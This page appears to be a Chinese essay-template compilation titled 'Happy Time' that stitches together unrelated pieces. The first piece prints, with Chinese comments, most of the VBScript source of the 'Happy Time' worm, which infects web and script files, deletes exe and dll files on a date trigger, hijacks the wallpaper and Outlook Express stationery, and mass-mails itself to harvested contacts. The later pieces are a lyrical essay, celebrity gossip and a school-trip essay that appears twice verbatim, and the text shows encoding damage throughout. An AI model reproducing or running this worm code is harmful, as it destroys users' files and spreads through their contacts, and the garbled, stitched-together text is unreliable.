歡樂(lè)時(shí)光
前言：想要寫出一篇令人眼前一亮的文章嗎？我們特意為您整理了5篇?dú)g樂(lè)時(shí)光范文，相信會(huì)為您的寫作帶來(lái)幫助，發(fā)現(xiàn)更多的寫作思路和靈感。
歡樂(lè)時(shí)光范文第1篇
下面讓我們來(lái)看看它藏在快樂(lè)的外衣下的是什么吧！
*************** 歡樂(lè)時(shí)光 ***************
Rem I am sorry! happy time
On Error Resume Next
Mload
’以上為病毒入口，并加上I am sorry! happy time的注釋，以表明此文件已被感染過(guò)。
Sub mload()
On Error Resume Next
mPath = Grf()
Set Os = CreateObject("Scriptlet.TypeLib")
Set Oh = CreateObject("Shell.Application")
’建立枚舉對(duì)象，避開(kāi)了安全審核
If IsHTML Then
’調(diào)用IsHtml函數(shù)，如果是Html，就小寫……
mURL = LCase(document.Location)
If mPath = "" Then
Os.Reset
Os.Path = "C:\Help.htm"
Os.Doc = Lhtml()
Os.Write()
’如果mPath為空，就在C盤下生成Help.htm
Ihtml = ""
’超文本的內(nèi)容，并指向C:\Help.Htm
Call document.Body.insertAdjacentHTML("AfterBegin"， Ihtml)
Else
If Iv(mPath， "Help.vbs") Then
setInterval "Rt()"， 10000
Else
m = "hta"
If LCase(m) = Right(mURL， Len(m)) Then
id = setTimeout("mclose()"， 1)
’設(shè)置超時(shí)條件
main
Else
Os.Reset()
Os.Path = mPath & "\" & "Help.hta"
Os.Doc = Lhtml()
Os.write()
Iv mPath， "Help.hta"
’生成Help.hta
End If
End If
End If
Else
Main
’都不是，就執(zhí)行main函數(shù)
End If
End Sub
’******************************************************************
’以下為主函數(shù)，太長(zhǎng)了！
Sub main()
On Error Resume Next
Set Of = CreateObject("Scripting.FileSystemObject")
’不用說(shuō)，創(chuàng)建FileSystemObject對(duì)象啦
Set Od = CreateObject("Scripting.Dictionary")
’創(chuàng)建Dictionary對(duì)象， 用來(lái)保存數(shù)據(jù)鍵和項(xiàng)目對(duì)，它實(shí)際上是一個(gè)比較開(kāi)放的數(shù)組
Od.Add "html"， "1100"
Od.Add "vbs"， "0100"
Od.Add "htm"， "1100"
Od.Add "asp"， "0010"
’向Dictionary對(duì)象添加要感染的項(xiàng)目對(duì)
Ks = "HKEY_CURRENT_USER\Software\"
’使用變量以減少代碼長(zhǎng)度
Ds = Grf()
Cs = Gsf()
If IsVbs Then
’如果是VBS
If Of.FileExists("C:\help.htm") Then
Of.DeleteFile ("C:\help.htm")
’如果c:\help.htm存在，就刪掉，消滅遺留的痕跡
End If
Key = CInt(Month(Date) + Day(Date))
If Key = 13 Then
’如果月與日之和為13（這也是它變種多的原因——將13改為其他數(shù)字即可）
Od.RemoveAll
Od.Add "exe"， "0001"
Od.Add "dll"， "0001"
’就清空Dictionary數(shù)組，并將exe、dll加入Dictionary 對(duì)象，以備刪除之用
End If
Cn = Rg(Ks & "Help\Count")
’讀注冊(cè)表中的HKEY_CURRENT_USER\Software\Help\Count鍵值
If Cn = "" Then
Cn = 1
’如果Count為0，就設(shè)為1
End If
Rw Ks & "Help\Count"， Cn + 1
’添加HKEY_CURRENT_USER\Software\Help\Count鍵值，值為2
f1 = Rg(Ks & "Help\FileName")
’再讀HKEY_CURRENT_USER\Software\Help\FileName鍵值
f2 = FNext(Of， Od， f1)
’得到該文件的文件名
fext = GetExt(Of， Od， f2)
’得到該文件擴(kuò)展名的代號(hào)
Rw Ks & "Help\FileName"， f2
’添加鍵值
If IsDel(fext) Then
’如果擴(kuò)展名代號(hào)的第四個(gè)字符為1——即0001(exe、dll)
f3 = f2
’儲(chǔ)存文件名
f2 = FNext(Of， Od， f2)
’得到文件的文件名？
Rw Ks & "Help\FileName"， f2
’寫注冊(cè)表
Of.DeleteFile f3
’刪除文件
Else
If LCase(WScript.ScriptFullname) LCase(f2) Then
’如果不是集合中的文件
Fw Of， f2， fext
End If
End If
If (CInt(Cn) Mod 366) = 0 Then
If (CInt(Second(Time)) Mod 2) = 0 Then
’使用 Cint函數(shù)強(qiáng)制執(zhí)行轉(zhuǎn)換，并發(fā)郵件
Tsend
Else
adds = Og
Msend (adds)
End If
End If
wp = Rg("HKEY_CURRENT_USER\Control Panel\desktop\wallPaper")
If Rg(Ks & "Help\wallPaper") wp Or wp = "" Then
’比較桌面墻紙是否已改變
If wp = "" Then
n1 = ""
n3 = Cs & "\Help.htm"
Else
mP = Of.GetFile(wp).ParentFolder
n1 = Of.GetFileName(wp)
n2 = Of.GetBaseName(wp)
n3 = Cs & "\" & n2 & ".htm"
End If
Set pfc = Of.CreateTextFile(n3， True)
mt = Sa("1100")
’創(chuàng)建超文本
pfc.Write "
" & "/Body>" & mt
’超文本的內(nèi)容
pfc.Close
Rw Ks & "Help\wallPaper"， n3
Rw "HKEY_CURRENT_USER\Control Panel\desktop\wallPaper"， n3
’將帶毒的超文本設(shè)置成活動(dòng)桌面
End If
Else
Set fc = Of.CreateTextFile(Ds & "\Help.vbs"， True)
fc.Write Sa("0100")
’創(chuàng)建vbs文件
fc.Close
bf = Cs & "\Untitled.htm"
Set fc2 = Of.CreateTextFile(bf， True)
fc2.Write Lhtml
fc2.Close
’創(chuàng)建windows下的untitled.htm
oeid = Rg("HKEY_CURRENT_USER\Identities\Default User ID")
oe = "HKEY_CURRENT_USER\Identities\" & oeid & "\Software\Microsoft\Outlook E
xpress\5.0\Mail"
MSH = oe & "\Message Send HTML"
CUS = oe & "\Compose Use Stationery"
SN = oe & "\Stationery Name"
Rw MSH， 1
Rw CUS， 1
Rw SN， bf
’在Hkey_Current_User＼Identities＼{AECF6CA3-9614-4AF4-AEF2-CT63FE9D97A4}＼Software＼Microsoft＼Outlook Express＼5.0＼Mail下添加三個(gè)鍵值Message Send HTML 、Compose Use Stationery 和Stationery Name，前兩個(gè)的值為1，后一個(gè)指向windows\untitled.htm
Web = Cs & "\WEB"
Set gf = Of.GetFolder(Web).Files
’得到windows\web文件夾里的文件
Od.Add "htt"， "1100"
’向Dictionary里添加htt項(xiàng)目對(duì)
For Each m In gf
’遍歷windows\web下的每一個(gè)文件
fext = GetExt(Of， Od， m)
’得到每個(gè)文件的擴(kuò)展名
If fext "" Then
’如果擴(kuò)展名不為空，則
Fw Of， m， fext
End If
Next
End If
End Sub
’******************************************************************
Sub mclose()
document.Write "I am sorry!’寫入I am sorry，并關(guān)閉。以此作為感染與否的標(biāo)記
window.Close
End Sub
’******************************************************************
Sub Fw(Of， S， n)
’此時(shí)S為文件名，n為文件擴(kuò)展名
Dim fc， fc2， m， mmail， mt
On Error Resume Next
Set fc = Of.OpenTextFile(S， 1)
’只讀模式打開(kāi)該文件
mt = fc.ReadAll
’讀入全部文件流
fc.Close
’關(guān)閉文件
If Not Sc(mt) Then
’如果未感染過(guò)
mmail = Ml(mt)
mt = Sa(n)
Set fc2 = Of.OpenTextFile(S， 8)
’打開(kāi)文件并在文件末尾進(jìn)行寫愛(ài)作
fc2.Write mt
fc2.Close
Msend (mmail)
’發(fā)帶毒郵件
End If
End Sub
’******************************************************************
Function Sc(S)
mN = "Rem I am sorry! happy time"
If InStr(S， mN) > 0 Then
’如果讀入的文件流中有Rem I am sorry! happy time
Sc = True
Else
Sc = False
’表示已感染過(guò)，返回True，否則為False
End If
End Function
’******************************************************************
Function FNext(Of， Od， S)
Dim fpath， fname， fext， T， gf
On Error Resume Next
fname = ""
T = False
’初始化變量
If Of.FileExists(S) Then
’如果S存在于當(dāng)前文件夾中
fpath = Of.GetFile(S).ParentFolder
’得到文件的父目錄名
fname = S
’得到文件名
ElseIf Of.FolderExists(S) Then
’不存在于當(dāng)前文件夾中，則得到目錄名
fpath = S
T = True
Else
fpath = Dnext(Of， "")
’得到當(dāng)前盤符——即根目錄
End If
Do While True
Set gf = Of.GetFolder(fpath).Files
’得到當(dāng)前目錄下的所有文件對(duì)象
For Each m In gf
’遍歷每個(gè)文件
If T Then
If GetExt(Of， Od， m) "" Then
’如果該文件是文件集合中的一員
FNext = m
’則返回該文件名，供調(diào)用的函數(shù)或過(guò)程使用——感染或刪除之
Exit Function
End If
ElseIf LCase(m) = LCase(fname) Or fname = "" Then
’如果沒(méi)文件
T = True
End If
Next
fpath = Pnext(Of， fpath) ’
Loop
End Function
’******************************************************************
Function Pnext(Of， S)
On Error Resume Next
Dim Ppath， Npath， gp， pn， T， m
T = False
If Of.FolderExists(S) Then
’如果如果指定的文件夾存在
Set gp = Of.GetFolder(S).SubFolders
’就得到子目錄數(shù)
pn = gp.Count
If pn = 0 Then
’如果沒(méi)子目錄
Ppath = LCase(S) ’
Npath = LCase(Of.GetParentFolderName(S))
’得到父目錄的小寫形式
T = True
Else
Npath = LCase(S)
’有子目錄，得到其小寫形式的集合
End If
Do While Not Er ’
For Each pn In Of.GetFolder(Npath).SubFolders
’得到子目錄下的子目錄
If T Then
If Ppath = LCase(pn) Then
T = False
End If
Else
Pnext = LCase(pn)
Exit Function
End If
Next
T = True
Ppath = LCase(Npath)
’將字符串轉(zhuǎn)化成小寫
Npath = Of.GetParentFolderName(Npath) ’
If Of.GetFolder(Ppath).IsRootFolder Then
’如果是根目錄
m = Of.GetDriveName(Ppath)
’就得到分區(qū)符
Pnext = Dnext(Of， m)
Exit Function
End If
Loop
End If
End Function
’******************************************************************
Function Dnext(Of， S)
Dim dc， n， d， T， m
On Error Resume Next
T = False
m = ""
Set dc = Of.Drives
’得到所有的驅(qū)動(dòng)器盤符
For Each d In dc
’遍歷每個(gè)驅(qū)動(dòng)器
If d.DriveType = 2 Or d.DriveType = 3 Then
’如果是網(wǎng)絡(luò)盤或本地盤
If T Then
Dnext = d
Exit Function
’如果是False，就返回當(dāng)前盤，并退出本函數(shù)
Else
If LCase(S) = LCase(d) Then
’如果是True且盤符相同，就令T為True
T = True
End If
If m = "" Then
’如果m為空，就將盤符付給m
m = d
End If
End If
End If
Next
Dnext = m
’返回盤符
End Function
’******************************************************************
Function GetExt(Of， Od， S)
Dim fext
On Error Resume Next
fext = LCase(Of.GetExtensionName(S))
’返回該文件擴(kuò)展名的小寫
GetExt = Od.Item(fext)
’返回Dictionary對(duì)象中指定的key對(duì)應(yīng)的item——即0001(exe)等
End Function
’******************************************************************
Sub Rw(k， v)
’寫注冊(cè)表
Dim R
On Error Resume Next
Set R = CreateObject("WScript.Shell")
’創(chuàng)建對(duì)象
R.RegWrite k， v
End Sub
’******************************************************************
Function Rg(v)
’讀注冊(cè)表
Dim R
On Error Resume Next
Set R = CreateObject("WScript.Shell")
’創(chuàng)建對(duì)象
Rg = R.RegRead(v)
End Function
’******************************************************************
Function IsVbs()
’此函數(shù)判斷是不是VBS文件
Dim ErrTest
On Error Resume Next
ErrTest = WScript.ScriptFullname
If Err Then
’如果出錯(cuò)，則不是VBS
IsVbs = False
Else
IsVbs = True
End If
End Function
’******************************************************************
Function IsHTML()
’此函數(shù)判斷是不是Html文件
Dim ErrTest
On Error Resume Next
ErrTest = document.Location
If Er Then
IsHTML = False
’如果出錯(cuò)，則不是超文本
Else
IsHTML = True
End If
End Function
’******************************************************************
Function IsMail(S)
’此函數(shù)判斷是不是郵件地址
Dim m1， m2
IsMail = False
If InStr(S， vbCrLf) = 0 Then
’返回vbCrLf在S中第一次出現(xiàn)的位置， vbCrLf是換行符
m1 = InStr(S， "@")
m2 = InStr(S， ".")
If m1 0 And m1 < m2 Then
’如果有“@”符號(hào)且“@”在“."之前，則是郵件地址
IsMail = True
End If
End If
End Function
’******************************************************************
Function Gsf()
’得到windows目錄
Dim Of， m
On Error Resume Next
Set Of = CreateObject("Scripting.FileSystemObject")
’創(chuàng)建FileSystemObject對(duì)象
m = Of.GetSpecialFolder(0)
’得到特殊目錄——Windows、System和Temp目錄
If Er Then
’如果失敗，返回C:
Gsf = "C:\"
Else
’若正常，則返回%Windows%
Gsf = m
End If
End Function
’******************************************************************
Function Lhtml()
’寫入超文本的內(nèi)容，其中vbCrLf是換行符
Lhtml = "" Help " " & Lscript(Lvbs()) & vbCrLf & _
"End Function
’******************************************************************
Function Lscript(S)
’寫入vbscript的聲明
Lscript = "" & vbCrLf & _
S & ""
End Function
’******************************************************************
Function Sl(S1， S2， n)
Dim l1， l2， l3， i
l1 = Len(S1)
’得到文件流的長(zhǎng)度
l2 = Len(S2)
’得到mailto:的長(zhǎng)度
i = InStr(S1， S2)
’在文件流中查找mailto:第一次出現(xiàn)的位置——值為一個(gè)數(shù)
If i > 0 Then
’找到則進(jìn)行字符串愛(ài)作
l3 = i + l2 - 1
If n = 0 Then
Sl = Left(S1， i - 1)
ElseIf n = 1 Then
Sl = Right(S1， l1 - l3)
End If
Else
Sl = ""
End If
End Function
’******************************************************************
Function Og()
’得到WAB（通訊簿）中的郵件地址
Dim i， n， m()， Om， Oo
Set Oo = CreateObject("Outlook.Application")
’創(chuàng)建Outlook應(yīng)用程序?qū)ο?，Outlook和Outlook Express都跑不掉啦！
Set Om = Oo.GetNamespace("MAPI").GetDefaultFolder(10).Items
n = Om.Count
ReDim m(n)
For i = 1 To n
m(i - 1) = Om.Item(i).Email1Address
得到每個(gè)WAB中的郵件地址
Next
Og = m
End Function
’******************************************************************
Sub Tsend()
’發(fā)帶毒郵件
Dim Od， MS， MM， a， m
Set Od = CreateObject("Scripting.Dictionary")
MConnect MS， MM
MM.FetchSorted = True
MM.Fetch
For i = 0 To MM.MsgCount - 1
MM.MsgIndex = i
a = MM.MsgOrigAddress
If Od.Item(a) = "" Then
Od.Item(a) = MM.MsgSubject
End If
Next
For Each m In Od.Keys
MM.Compose
MM.MsgSubject = "Fw: " & Od.Item(m)
’設(shè)置郵件標(biāo)題
MM.RecipAddress = m
’此郵件的當(dāng)前的目標(biāo)郵件地址
MM.AttachmentPathName = Gsf & "\Untitled.htm"
’添加附件Windows\Untitled.htm
MM.Send
’發(fā)送！
Next
MS.SignOff
End Sub
’******************************************************************
Function Er()
’設(shè)置的錯(cuò)誤陷阱，避免程序崩潰，嚴(yán)謹(jǐn)?shù)娘L(fēng)格值得學(xué)習(xí)
If Err.Number = 0 Then
Er = False
Else
Err.Clear
Er = True
End If
End Function
’******************************************************************
Function IsDel(S)
’此函數(shù)查看當(dāng)前文件是否是要?jiǎng)h除的文件類型
If Mid(S， 4， 1) = 1 Then
’看S的第四個(gè)字符是否是1——即是0001(exe和dll)
IsDel = True
’如是，返回True，以備刪除
Else
IsDel = False
’如不是，返回False
End If
End Function
’******************************************************************
歡樂(lè)時(shí)光范文第2篇
陽(yáng)光還是一如既往地從枝葉縫隙灑落下來(lái)，到處是明亮的一片．地上斑斑妖冶的陰暗錯(cuò)落的點(diǎn)，其實(shí)是樹(shù)葉有意的神秘，仿佛是漆黑的夜空，璀璨的群星散發(fā)逸動(dòng)的光芒．但是我怎么又聽(tīng)見(jiàn)，是陽(yáng)光溫存地與樹(shù)葉親吻，已至于我能夠看見(jiàn)他們親吻的痕跡．溫存地，無(wú)聲無(wú)息地交融，那舒服的呼吸，環(huán)繞在我們的耳系．
有限的視覺(jué)是一片你擁抱不了的藍(lán)天，但為什么，我卻想哭泣．不是不是，為了天空的愛(ài)而哭泣．她是多么樸素，把我緊緊的裹在她的懷里．好想飄飛上去，飛到她臉上那絲白云，撫摸那，別人看不見(jiàn)的滄桑和從容．可惜我飛不到那邊兒去了，但是我伸出雙手，她的面容就在我的眼前．我只得心存感激的安靜下來(lái)，受著她無(wú)時(shí)的呵護(hù)．
時(shí)光的痕劃過(guò)星河，留下了紋，造就了眼前這條曲折，這小路．可以在兩旁碧綠的草坪延伸到遼闊的草原去，可以延伸到我的內(nèi)心里去．哪怕那里有過(guò)風(fēng)吹雨打的痕跡，哪怕昨日瑰麗的朝霞失落于退潮的堤岸，哪怕遼闊的雄歌消失在山巔的藍(lán)天．明天的我們，將再次收獲一個(gè)黎明的希望．只因大自然不時(shí)地賜予于我們生命的希望和啟迪，像那兩旁的草坪，如果沒(méi)有雨的滋潤(rùn)，哪來(lái)的青翠欲滴，如果沒(méi)有風(fēng)的鍛煉，拿來(lái)堅(jiān)固的根基？
西面是一面高大的墻，墻邊種著幾棵樹(shù)．是不是松樹(shù)？只是知道他們沒(méi)有了松柏青綠的外衣，卻有著比他們更為高大的身軀．象山窯里默默守望的老人，風(fēng)琢雕出一道道深壑．兩眼睜出一點(diǎn)點(diǎn)的星光，讓心里的期盼流出眼外，濕潤(rùn)我們的心．他們很安詳，陽(yáng)光穿過(guò)他們搖曳的長(zhǎng)長(zhǎng)的灰色枝條，緩緩的，猶如一曲寧?kù)o的曲子，不自覺(jué)地舞動(dòng)著生命的真諦．幾只行都的小鳥(niǎo)，不時(shí)從這里飛到那邊，它們也很安靜，連鳥(niǎo)兒，也不忍心破壞這里的安謐．
愛(ài)爾蘭笛曲一直幽幽飄蕩在我身邊，洗滌著心靈，難忘啊，依偎著的歡樂(lè)時(shí)光．
歡樂(lè)時(shí)光范文第3篇
“Party Boys”，光聽(tīng)團(tuán)名就知道這是一幫有點(diǎn)自戀有些自大又喜歡耍寶惡搞的大男生，小豬團(tuán)長(zhǎng)向大家介紹這個(gè)團(tuán)體時(shí)是這樣說(shuō)滴：“我們是一群喜歡運(yùn)動(dòng)、搞笑、幫助弱小、熱心助人、帶給別人歡笑的帥哥團(tuán)體！重點(diǎn)是，我們Party Boys都是演藝圈的精英，有偶像、舞者、演唱會(huì)幕后工作人員和節(jié)目制作人，他們?cè)诠ぷ魃隙际亲畎舻?！所以我們這個(gè)團(tuán)體不是隨便都可以加入的哦！”
帥哥成員543
Party Boys由團(tuán)長(zhǎng)羅志祥發(fā)起，成員全是緊緊團(tuán)結(jié)在小豬周圍的好朋友。明星成員包括《娛樂(lè)百分百》的主持拍檔小鬼，交情匪淺的ENERGY成員坤達(dá)，還有賈靜雯的弟弟、“元衛(wèi)覺(jué)醒”組合的衛(wèi)斯里，剩下的就是對(duì)大家來(lái)說(shuō)有點(diǎn)陌生的幕后工作人員了，包括制作人小方，舞者小葦，還有舞臺(tái)總監(jiān)紅毛和剛加入不久的新成員亞漢等。
小鬼幾乎是在幕前跟小豬一起出現(xiàn)頻率最高的人。除了主持《娛樂(lè)百分百》，他還在《轉(zhuǎn)角*遇到愛(ài)》里客串了一把小豬的好友，戲里戲外都上演兄弟情深的戲碼，活像連體嬰。小鬼說(shuō)：“和小豬是在游戲節(jié)目里認(rèn)識(shí)的，我也成為了Party Boys的成員，能夠和他一起主持《娛樂(lè)百分百》我相當(dāng)開(kāi)心，畢竟他都會(huì)帶著我，我才能輕松地主持節(jié)目！”
而衛(wèi)斯里最近更是在小豬的生活中扮演了重要角色：緋聞男友。之前他們倆在部落格上放了一張小豬幫衛(wèi)斯里吹頭發(fā)的照片，因此歌迷們大肆猜測(cè)兩個(gè)人是一對(duì)，之后有一天小豬與衛(wèi)斯里居然大方地手牽手出來(lái)逛街，小豬還嗆聲：“為什么女生跟女生可以手牽手，男生就不行？”兩個(gè)人都愛(ài)惡搞，就是喜歡用另類的方式展現(xiàn)“哥們兒”情誼，在小豬演唱會(huì)的后臺(tái)還故意擺出嘴對(duì)嘴的pose，小豬不怕別人誤會(huì)，再補(bǔ)上一句：“我專輯里的創(chuàng)作曲《自戀》就是在衛(wèi)斯里家的錄音室里完成的。”
內(nèi)褲天團(tuán)的麻辣趣事
“Party Boys”其實(shí)是個(gè)內(nèi)褲天團(tuán)，每次在家里聚會(huì)，大家一進(jìn)家門一定是先脫褲子，不管是吃飯還是打麻將，每個(gè)人都只穿四角褲，羅志祥更有怪癖，喜歡穿著四角褲不脫襪子，樣子有夠爆笑。有一次衛(wèi)斯里從后面把羅志祥的四角褲一下子拉到腳踝上，羅志祥轉(zhuǎn)過(guò)來(lái)的時(shí)候，完全一副什么事都沒(méi)發(fā)生過(guò)的樣子，繼續(xù)做該做的事，真是自然，所有人都笑得趴到了地上。
歡樂(lè)時(shí)光范文第4篇
今天，老師帶領(lǐng)我們到廣州航天歡樂(lè)世界去游玩，大家高興極了。早上，我們乘上校車，懷著激動(dòng)的心情來(lái)到了航天歡樂(lè)世界。
我們來(lái)到航天科普館，首先映入我眼簾的是“神舟七號(hào)”。它直直地矗立著，紅紅的“神舟七號(hào)”四個(gè)大字分外耀眼。望著它，我仿佛又看見(jiàn)翟志剛叔叔手拿著鮮艷的五星紅旗在太空揮舞著，向全世界宣告：“中國(guó)人來(lái)了！”我心中感到無(wú)比的自豪。接著，我們來(lái)到火箭跟前。導(dǎo)游阿姨告訴我們，這枚火箭有110米長(zhǎng)，直徑達(dá)3米。長(zhǎng)長(zhǎng)的火箭上印著面五星紅旗，上面寫著翟志剛、劉伯明、景海鵬叔叔們的名字。“哎喲！”有個(gè)倒霉鬼一頭碰到了火箭上。他一手摸著頭，一手拍了拍火箭，哭喪著臉說(shuō)：“火箭造得可真結(jié)實(shí)！”引得我們哈哈大笑。
離開(kāi)了科普館，我們來(lái)到了太空飛行塔前。我們坐上了飛鷹，飛到了鬼屋，見(jiàn)到了只剩半邊臉的恐龍、吊著頭血直往下流的猴子，嚇得我們哇哇大叫。隨后，我們又玩了海盜船、卡丁車、搖頭飛椅……
時(shí)間不早了，我們也玩累了，戀戀不舍地離開(kāi)了這里。這次活動(dòng)讓我大開(kāi)眼界，學(xué)到了許多知識(shí)。我一定要努力學(xué)習(xí)，將來(lái)為祖國(guó)的航天事業(yè)做貢獻(xiàn)。
歡樂(lè)時(shí)光范文第5篇
今天，老師帶領(lǐng)我們到廣州航天歡樂(lè)世界去游玩，大家高興極了。早上，我們乘上校車，懷著激動(dòng)的心情來(lái)到了航天歡樂(lè)世界。
我們來(lái)到航天科普館，首先映入我眼簾的是“神舟七號(hào)”。它直直地矗立著，紅紅的“神舟七號(hào)”四個(gè)大字分外耀眼。望著它，我仿佛又看見(jiàn)翟志剛叔叔手拿著鮮艷的五星紅旗在太空揮舞著，向全世界宣告：“中國(guó)人來(lái)了！”我心中感到無(wú)比的自豪。接著，我們來(lái)到火箭跟前。導(dǎo)游阿姨告訴我們，這枚火箭有110米長(zhǎng)，直徑達(dá)3米。長(zhǎng)長(zhǎng)的火箭上印著面五星紅旗，上面寫著翟志剛、劉伯明、景海鵬叔叔們的名字?！鞍眩 庇袀€(gè)倒霉鬼一頭碰到了火箭上。他一手摸著頭，一手拍了拍火箭，哭喪著臉說(shuō)：“火箭造得可真結(jié)實(shí)！”引得我們哈哈大笑。
離開(kāi)了科普館，我們來(lái)到了太空飛行塔前。我們坐上了飛鷹，飛到了鬼屋，見(jiàn)到了只剩半邊臉的恐龍、吊著頭血直往下流的猴子，嚇得我們哇哇大叫。隨后，我們又玩了海盜船、卡丁車、搖頭飛椅……
時(shí)間不早了，我們也玩累了，戀戀不舍地離開(kāi)了這里。這次活動(dòng)讓我大開(kāi)眼界，學(xué)到了許多知識(shí)。我一定要努力學(xué)習(xí)，將來(lái)為祖國(guó)的航天事業(yè)做貢獻(xiàn)。
